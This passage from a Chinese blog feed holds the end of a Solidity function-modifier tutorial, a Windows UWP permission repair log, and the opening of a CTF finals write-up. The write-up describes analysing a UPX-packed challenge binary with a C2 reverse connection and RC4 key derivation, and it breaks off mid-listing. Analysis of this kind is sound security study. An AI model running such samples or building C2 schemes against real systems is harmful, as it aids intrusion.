pure，是不合法的</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> count;</span><span style="color:#7F848E;font-style:italic">// 这里读取了合约内部的变量，但是函数是纯函数，所以读取是非法的</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>这样就不行了，因为 <code>pure</code> 函数不能够读取合约内部的变量，在这个例子里面，<code>count</code> 是合约内部的一个变量，在 <code>pure</code> 函数里面对其进行读取是非法的</p><p>而我们上面总是用到的计算器例子</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> calculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span><span style="color:#7F848E;font-style:italic">// 这里只对传入的值进行计算</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>这个就是合法的，因为它并没有涉及到合约变量的读取，它做的只是对传入的数值进行计算后，把结果返回出去</p><p>你可以这样理解：纯函数就是一个计算器，它只能够对传入的值进行特定的计算</p><h5 id="不可支付函数：nonpayable"><a href="#不可支付函数：nonpayable" class="headerlink" title="不可支付函数：nonpayable"></a>不可支付函数：<code>nonpayable</code></h5><p>当一个函数没有显式声明任何状态可变性修饰符（如 <code>view</code>、<code>pure</code> 或 <code>payable</code>）时，它的默认行为是 <code>nonpayable</code>。这种函数可以读取合约的状态变量，也可以修改合约的状态变量。它是最常见的函数类型，用于实现业务逻辑。</p><p>唯一需要注意的是：这种函数不能接收以太币。如果外部调用者尝试向一个 <code>nonpayable</code> 函数发送以太币（在交易中包含 <code>value</code>），交易会立即失败并回滚。</p><p><strong><code>nonpayable</code> 函数调用需要消耗 gas</strong>，并且不添加 <code>nonpayable</code> 关键词来进行修饰，只需要对状态可变性的位置置空就行了</p><p>下面我们用一个例子来看看这种函数</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> database</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">    uint</span><span style="color:#C678DD"> public</span><span style="color:#ABB2BF"> data;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">        data </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> update</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _newData</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#ABB2BF">        data </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _newData; </span><span style="color:#7F848E;font-style:italic">// 在这里我们对合约内部变量进行了修改，这一步是需要消耗 gas 的</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#7F848E;font-style:italic">    // 即使函数没有实际修改状态，但是它是个 nonpayable 函数，外部调用也需要 Gas</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> greet</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">string</span><span style="color:#C678DD"> memory</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#98C379"> "Hello from database!"</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_ItlUhOX7pI.png"></p><p>可以发现，我们没有添加任何状态可变性修饰符的时候，它的类型为 <code>nonpayable</code>，并且当我点击了函数触发按钮后，它弹出了支付请求</p><p><strong>所以，当我们的函数满足 <code>view</code> 或者 <code>pure</code> 的情况时，或者说这两个可变性能够满足我们的需求时，还是好好地添加对应的可变性修饰符来减少开支吧！</strong></p><h5 id="可支付函数：payable"><a href="#可支付函数：payable" class="headerlink" title="可支付函数：payable"></a>可支付函数：<code>payable</code></h5><p>可支付函数与不可支付函数的唯一区别在于它是唯一一个可以接受以太币的函数类型，也就是说可以进行转账</p><p>当然了，转账自然就涉及到了状态的改变，所以这类函数是需要支付 gas 的</p><p>在这里，我们给出一个最简单的例子（由 Gemini 2.5 编写）</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#7F848E;font-style:italic">// SPDX-License-Identifier: MIT</span></div><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">/**</span></div><div class="line"><span style="color:#7F848E;font-style:italic"> * </span><span style="color:#C678DD;font-style:italic">@title</span><span style="color:#7F848E;font-style:italic"> MySimpleEthTransfer</span></div><div class="line"><span style="color:#7F848E;font-style:italic"> * </span><span style="color:#C678DD;font-style:italic">@dev</span><span style="color:#7F848E;font-style:italic"> 这是一个演示如何接收和发送以太币的简单合约。</span></div><div class="line"><span style="color:#7F848E;font-style:italic"> */</span></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> MySimpleEthTransfer</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#7F848E;font-style:italic">    // 状态变量：合约的部署者地址</span></div><div class="line"><span style="color:#E5C07B">    address</span><span style="color:#C678DD"> public</span><span style="color:#ABB2BF"> owner;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    // 构造函数：合约部署时执行一次，设置部署者为所有者</span></div><div class="line"><span style="color:#C678DD">    constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">        owner </span><span style="color:#56B6C2">=</span><span style="color:#E5C07B"> msg.sender</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    // 修饰符：限制函数只能由所有者调用</span></div><div class="line"><span style="color:#C678DD">    modifier</span><span style="color:#61AFEF"> onlyOwner</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#C678DD">        require</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">msg.sender</span><span style="color:#ABB2BF"> == owner, </span><span style="color:#98C379">"Only owner can call this function."</span><span style="color:#ABB2BF">);</span></div><div class="line"><span style="color:#D19A66">        _</span><span style="color:#ABB2BF">; </span><span style="color:#7F848E;font-style:italic">// _ 是一个特殊符号，代表被修饰的函数体</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    /**</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     * </span><span style="color:#C678DD;font-style:italic">@dev</span><span style="color:#7F848E;font-style:italic"> 允许任何人向本合约存入以太币。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     *      这是一个 payable 函数，意味着它能接收以太币。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     *      所有收到的以太币都会增加合约的余额。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     */</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> deposit</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> payable</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // 实际应用中，你可能想在这里记录存款人及其金额</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // 例如：mapping(address => uint) public balances;</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // balances[msg.sender] += msg.value;</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        //</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // 为了最简单的演示，我们让它仅仅接收以太币，不做额外逻辑</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    /**</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     * </span><span style="color:#C678DD;font-style:italic">@dev</span><span style="color:#7F848E;font-style:italic"> 允许合约所有者向指定地址转账以太币。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     * </span><span style="color:#C678DD;font-style:italic">@param</span><span style="color:#E06C75;font-style:italic"> _recipient</span><span style="color:#7F848E;font-style:italic"> 要接收以太币的地址。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     * </span><span style="color:#C678DD;font-style:italic">@param</span><span style="color:#E06C75;font-style:italic"> _amount</span><span style="color:#7F848E;font-style:italic"> 要转账的以太币数量 (以 Wei 为单位)。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     *      注意：此函数本身不需要是 payable，因为它是在发送以太币，而不是接收。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     */</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> sendEth</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">address</span><span style="color:#E06C75;font-style:italic"> payable</span><span style="color:#ABB2BF;font-style:italic"> _recipient</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _amount</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#61AFEF"> onlyOwner</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // 确保合约有足够的以太币来发送</span></div><div class="line"><span style="color:#C678DD">        require</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">address</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">this</span><span style="color:#ABB2BF">).balance ></span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _amount, </span><span style="color:#98C379">"Insufficient contract balance to send."</span><span style="color:#ABB2BF">);</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">        // 使用 .transfer() 方法发送以太币。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // 这是推荐的发送以太币的方式之一，因为它会在失败时自动回滚，</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // 并且有固定的 2300 gas limit，可以防止重入攻击。</span></div><div class="line"><span style="color:#ABB2BF">        _recipient.</span><span style="color:#61AFEF">transfer</span><span style="color:#ABB2BF">(_amount);</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    /**</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     * </span><span style="color:#C678DD;font-style:italic">@dev</span><span style="color:#7F848E;font-style:italic"> 返回当前合约持有的以太币余额。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     *      这是一个 view 函数，因为它只读取状态，不修改状态，因此不消耗 Gas。</span></div><div class="line"><span style="color:#7F848E;font-style:italic">     */</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> getContractBalance</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> view</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // address(this) 代表当前合约的地址</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // .balance 是 Solidity 内置的属性，用于获取地址的以太币余额</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#E5C07B"> address</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">this</span><span style="color:#ABB2BF">).balance;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>在这个合约中，我们可以对目标用户进行转账，也可以存入 ETH，对于这部分的具体内容，会在后面展示</p><h5 id="可变性总结"><a href="#可变性总结" class="headerlink" title="可变性总结"></a>可变性总结</h5><p>由此，我们可以得到下面四种可变性修饰符和它们对应函数的特性</p><table><thead><tr><th>修饰符</th><th>可读状态变量</th><th>可写状态变量</th><th>可接收以太币</th><th>外部调用Gas消耗</th></tr></thead><tbody><tr><td><code>pure</code></td><td>❌</td><td>❌</td><td>❌</td><td>❌ (通常)</td></tr><tr><td><code>view</code></td><td>✅</td><td>❌</td><td>❌</td><td>❌ (通常)</td></tr><tr><td><strong>无修饰符</strong> (<code>non-payable</code>)</td><td>✅</td><td>✅</td><td>❌</td><td>✅</td></tr><tr><td><code>payable</code></td><td>✅</td><td>✅</td><td>✅</td><td>✅</td></tr></tbody></table><h3 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h3>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="Web3" scheme="https://bili33.top/tags/Web3/"/>
    
    <category term="ETH" scheme="https://bili33.top/tags/ETH/"/>
    
    <category term="ethereum" scheme="https://bili33.top/tags/ethereum/"/>
    
    <category term="sepolia" scheme="https://bili33.top/tags/sepolia/"/>
    
    <category term="MetaMask" scheme="https://bili33.top/tags/MetaMask/"/>
    
  </entry>
  
  <entry>
    <title>记一次因修改了 WindowsApps 文件夹权限导致的 UWP 应用无法通过运行打开的修复过程</title>
    <link href="https://bili33.top/posts/A-Log-that-Repair-Process-of-UWP-Apps-Failing-to-Open-Due-to-Modified-Permissions-of-the-WindowsApps-Folder/"/>
    <id>https://bili33.top/posts/A-Log-that-Repair-Process-of-UWP-Apps-Failing-to-Open-Due-to-Modified-Permissions-of-the-WindowsApps-Folder/</id>
    <published>2025-05-26T16:42:56.000Z</published>
    <updated>2026-03-31T05:59:59.339Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="导火索"><a href="#导火索" class="headerlink" title="导火索"></a>导火索</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这件事还得从 Windows Terminal 讲起，在 Windows Terminal 的 <code>1.22</code> 版本中，出现了 Terminal 动不动就未响应的问题，我去翻了一下 Github Issue，发现以前就有这个问题，然后修复了，只是现在又出现了</p><blockquote><p>frequently experience unresposive situation: <a href="https://github.com/microsoft/terminal/issues/18803#issuecomment-2822694262">https://github.com/microsoft/terminal/issues/18803#issuecomment-2822694262</a></p></blockquote><p>然后在这个 Issue 下面，repo 的成员说可以安装 Canary 版本的 Terminal，或许能解决这个问题，于是我装了个 Canary 的 Terminal</p><p>那么现在问题来了，我要怎么把 wt 改成使用 Windows Terminal Canary 打开呢……</p><p>我想的是 Windows 的命令是通过 PATH 实现的，所以我把 Windows Terminal 的 PATH 改到 Windows Terminal Canary 上，不就解决了吗？</p><p>如果问题真那么简单，也就不会出现这篇文章了</p><p>我先来说说我是怎么做的，然后再来讲正确的改绑方式</p><h2 id="修改-WindowsApps-权限导致-UWP-应用无法启动"><a href="#修改-WindowsApps-权限导致-UWP-应用无法启动" class="headerlink" title="修改 WindowsApps 权限导致 UWP 应用无法启动"></a>修改 WindowsApps 权限导致 UWP 应用无法启动</h2><p>我首先打开了 <code>C:\Program Files</code>，Windows 的 UWP 应用是安装在这个目录的 <code>WindowsApps</code> 文件夹的，因为之前用 Win10 的时候修改过这个目录，并且也没有造成什么问题，所以这次我也是轻车熟路更改了它的权限，然后找到了 Windows Terminal Canary 的安装目录，然后从 Powertoys 打开环境变量，准备进行修改，结果我发现</p><p><strong>PATH 里面根本就没有 Windows Terminal 的路径配置</strong></p><p><img src="https://assets.bili33.top/img/A-Log-that-Repair-Process-of-UWP-Apps-Failing-to-Open-Due-to-Modified-Permissions-of-the-WindowsApps-Folder/PowerToys.EnvironmentVariables_NqezsGAXUZ.png"></p><p>那没办法，我只好另寻他路，结果发现，我使用 <code>wt</code> 命令打开 UWP 应用已经没有响应了（表现为输入了且确定了，但是没有新的进程打开）</p><h1 id="修复"><a href="#修复" class="headerlink" title="修复"></a>修复</h1><p>我首先经过搜索得知，在 WindowsApps 文件夹上是有 TrustedInstaller 作为 Owner 的，因为更改了这个文件夹的权限，导致 UWP 应用的运行权限不正确而无法启动，所以我需要把权限还回去</p><h2 id="还权限"><a href="#还权限" class="headerlink" title="还权限"></a>还权限</h2><p>当然了，因为 Windows 的权限管理是依托答辩，所以 Github 上早就有人弄好了方案</p><blockquote><p>WindowsAppsUnfukker: <a href="https://github.com/AgentRev/WindowsAppsUnfukker">https://github.com/AgentRev/WindowsAppsUnfukker</a></p></blockquote><p>通过 <code>WindowsAppsUnfukker</code>，我成功把权限给回了 TrustedInstaller，但是我还是打开不了，于是我又尝试修复 Windows</p><h2 id="覆盖安装系统"><a href="#覆盖安装系统" class="headerlink" title="覆盖安装系统"></a>覆盖安装系统</h2><p>Windows 11 是有一个重新安装按钮的，可以直接点它完成覆盖安装，这个过程不会清理任何的数据，就是时间嘛……长了不是一点半点</p><p><img src="https://assets.bili33.top/img/A-Log-that-Repair-Process-of-UWP-Apps-Failing-to-Open-Due-to-Modified-Permissions-of-the-WindowsApps-Folder/ApplicationFrameHost_SHuvNNTlcy.png"></p><h2 id="重置应用"><a href="#重置应用" class="headerlink" title="重置应用"></a>重置应用</h2><p>重转完毕后，我还是没法打开，我灵机一动尝试了一下，既然 <code>C:\Program Files\WindowsApps</code> 的权限是被我改过的，那我要是放在 <code>D:\Program Files\WindowsApps</code> 呢？没想到还真让我碰上了，改了以后是可以正常打开的</p><p>于是我又想，重置一下应用呢？于是我重置了一下记事本应用，然后用 <kbd>Ctrl</kbd> + <kbd>R</kbd> 输入 <code>notepad</code>，成功打开了</p><p><img src="https://assets.bili33.top/img/A-Log-that-Repair-Process-of-UWP-Apps-Failing-to-Open-Due-to-Modified-Permissions-of-the-WindowsApps-Folder/ApplicationFrameHost_ZeAxEy1Tro.png"></p><p>然后我把其他应用也尝试重置，结果都可以了</p><h1 id="正确的改绑方式"><a href="#正确的改绑方式" class="headerlink" title="正确的改绑方式"></a>正确的改绑方式</h1><p>在设置里面，搜索 <code>应用执行别名</code>，把需要的那个打开就好了，剩下的同一个别名的会自动禁用</p><p><img src="https://assets.bili33.top/img/A-Log-that-Repair-Process-of-UWP-Apps-Failing-to-Open-Due-to-Modified-Permissions-of-the-WindowsApps-Folder/ApplicationFrameHost_nbmxeucGkJ.png"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>首先没事别乱改 Windows 的权限，这真的真的真的很麻烦！！！</p><p>当然了，这次也让我找到了正确的改绑方式，而不是使用环境变量来进行操作</p><p>也希望这篇文章能帮助你解决你因为修改了 <code>WindowsApps</code> 文件夹造成的无法打开软件的问题，此外，覆盖安装那一步大概率是不用的（？</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="Tech" scheme="https://bili33.top/categories/Tech/"/>
    
    
    <category term="Windows" scheme="https://bili33.top/tags/Windows/"/>
    
    <category term="UWP" scheme="https://bili33.top/tags/UWP/"/>
    
    <category term="WindowsApps" scheme="https://bili33.top/tags/WindowsApps/"/>
    
  </entry>
  
  <entry>
    <title>第十八届软件系统安全赛 CCSSSC 2025 全国总决赛复盘（旅行日记）</title>
    <link href="https://bili33.top/posts/CTF-CCSSSC2025-National-Finals/"/>
    <id>https://bili33.top/posts/CTF-CCSSSC2025-National-Finals/</id>
    <published>2025-05-25T12:03:10.000Z</published>
    <updated>2026-03-31T05:59:59.339Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><div class="note info flat"><p>我们 CTF 玩家就是拿着台电脑过去一开坐一天就结束了 —— Ron#1337</p></div><p>没错，在 5.17-5.18，我们 Volcania 参加了第十八届软件系统安全赛攻防赛全国总决赛</p><p>这次说是总决赛，但其实队我们队伍来说应该是公费旅游环节，我们在这场总决赛中确确实实爆零了(┬＿┬)</p><h2 id="比赛"><a href="#比赛" class="headerlink" title="比赛"></a>比赛</h2><div class="note info flat"><p>不是哥们？湖南大学还能停电的啊？？？开赛前半个小时停电了，连电灯都没了，大概率是过载了……</p><p>后来给了我们附件压缩包，说密码一起给，结果到电恢复了都没给 &#x3D;-&#x3D;</p></div><p>本次比赛总共有十道题目，并且出现了很明显的领域交叉情况（就是说 re 带 misc 之类的这种情况），而且涉及到的知识点也非常地广</p><h3 id="Seijaku"><a href="#Seijaku" class="headerlink" title="Seijaku"></a>Seijaku</h3><blockquote><p>seijaku提示：1、&#x2F;openapi.json</p><p>Seijaku提示：2、大概就是用给定的固定密钥 + 当前 Unix 秒级时间戳进行 CRC64，把这个值发送给 C2 服务器，然后和固定密钥进行循环异或作为本次 RC4 加密密钥。</p><p>Seijaku提示：3、user:user</p></blockquote><p>最开始拿到附件，给了一个流量包，从流量包可以提取到一个附件，并且通过链接可以得到以下信息</p><ul><li>此文件是一个二进制文件（<code>/binary</code>）</li><li>此文件的反向连接地址为 <code>seijaku.local</code></li><li>此文件经过 <code>upx</code> 压缩</li></ul><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/image-20250518090803-dkz27qd.png"></p><p>拿下来以后第一件事情是 UPX 解压</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-National-Finals/image-20250518090825-fi2y3bq.png"></p><p>题目里面还提供了一个 <code>project.tar.gz</code>，解压一下发现是一个 python 的 venv 环境，可以激活一下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">source</span> .venv/bin/activate</span><br></pre></td></tr></table></figure><p>接着尝试运行一次二进制文件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x bin</span><br><span class="line">$ ./bin &gt; output.log 2&gt;&amp;1</span><br></pre></td></tr></table></figure><p>运行时之后会执行类似扫描的操作</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span 